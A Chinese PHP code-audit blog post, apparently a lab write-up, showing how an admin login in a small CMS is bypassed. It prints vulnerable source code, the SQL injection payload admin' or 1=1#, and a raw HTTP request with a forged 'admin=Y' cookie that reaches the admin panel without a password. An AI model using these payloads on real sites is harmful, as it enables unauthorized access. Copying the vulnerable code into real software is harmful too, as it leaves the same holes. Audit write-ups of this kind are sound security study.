PHP审计-后台绕过登录

简介: PHP审计-后台绕过登录

burp 抓包测试

单引号测试

login.php

参数未过滤 登录处存在SQL注入

使用万能密码

admin' or 1=1#
<?php
require '../config.php';
$adminname = $_POST['adminname'];
$adminpass = $_POST['adminpass'];
$adminsql = "select * from xwmi_admin where adminname='$adminname' and adminpass='$adminpass'";
$adminery = mysql_query($adminsql, $config);
$adminnum = mysql_num_rows($adminery);
if ($adminnum == "1") {
setcookie("admin", "Y", time() + 3600*24, '/');
setcookie("admin_name", $adminname, time() + 3600*24, '/');
header("location:admin.php");
} else {
header("location:index.php");
}
?>

http://192.168.5.8/dunling/admin/admin.php

==>

http://192.168.5.8/dunling/index.php

admin.php

    <?php
    require 'check.php';
    require '../template/axadmin/head.php';
    require '../template/axadmin/banner.php';
    require '../template/axadmin/admin.php';
    require '../template/axadmin/bottom.php'
    ?>

    chack.php

    判断cookie中 admin的值是否为空 不为空则登陆到后台 没有做用户验证

      <?php
      error_reporting(0);
      isset($_COOKIE['admin'])?$check=$_COOKIE['admin']:$check=null;
      isset($_COOKIE['admin_name'])?$admin_user=$_COOKIE['admin_name']:$user=null;
      if($check != "Y" ){header("Location:../index.php");exit;}
      ?>

      抓包

      GET /dunling/admin/admin.php HTTP/1.1
      Host: 192.168.5.8
      Upgrade-Insecure-Requests: 1
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 FS
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: admin=Y; admin_name=ajie
      Connection: close

      cookie 加入信息 只要不为空 直接访问后台 无需密码。

      相关文章
      |
      3月前
      |
      SQL PHP 数据安全/隐私保护
      php登录功能(可以判断谁登录的呢)注册粗暴解决
      php登录功能(可以判断谁登录的呢)注册粗暴解决
      php登录功能(可以判断谁登录的呢)注册粗暴解决
      |
      4月前
      |
      安全 小程序 PHP
      PHP代码审计(七)Rips源代码审计系统使用教程
      上一篇中提到的Seay源代码审计系统是由C#编写的winform程序,现在已经停止更新了,但是,还是比较好用的。 PHP代码审计还有另一个工具,也是一个神器Rips
      145 0
      |
      4月前
      |
      安全 小程序 PHP
      PHP代码审计(六)Seay源代码审计系统使用教程
      www.cnseay.com/ 当然,这个已经不能访问了。 软件的版本比较早,需要.NET framework3.5框架,我这里是软件启动的时候自动提醒安装,如果没有自动提醒,那么你需要手动安装.NET frameWork3.5框架,否则,程序应该是没有办法运行。
      233 0
      |
      3月前
      |
      机器人 PHP
      QQ云端机器人登录系统php源码
      QQ云端机器人登录系统php源码
      171 4
      |
      3天前
      |
      PHP
      web简易开发——通过php与HTML+css+mysql实现用户的登录,注册
      web简易开发——通过php与HTML+css+mysql实现用户的登录,注册
      |
      6月前
      |
      PHP 数据库 数据安全/隐私保护
      PHP写用户注册、登录和密码重置功能
      PHP写用户注册、登录和密码重置功能
      |
      2月前
      |
      安全 PHP 数据库
      从建站打拿站 -- PHP(登录和注册)
      从建站打拿站 -- PHP(登录和注册)
      13 1
      |
      3月前
      |
      PHP 数据安全/隐私保护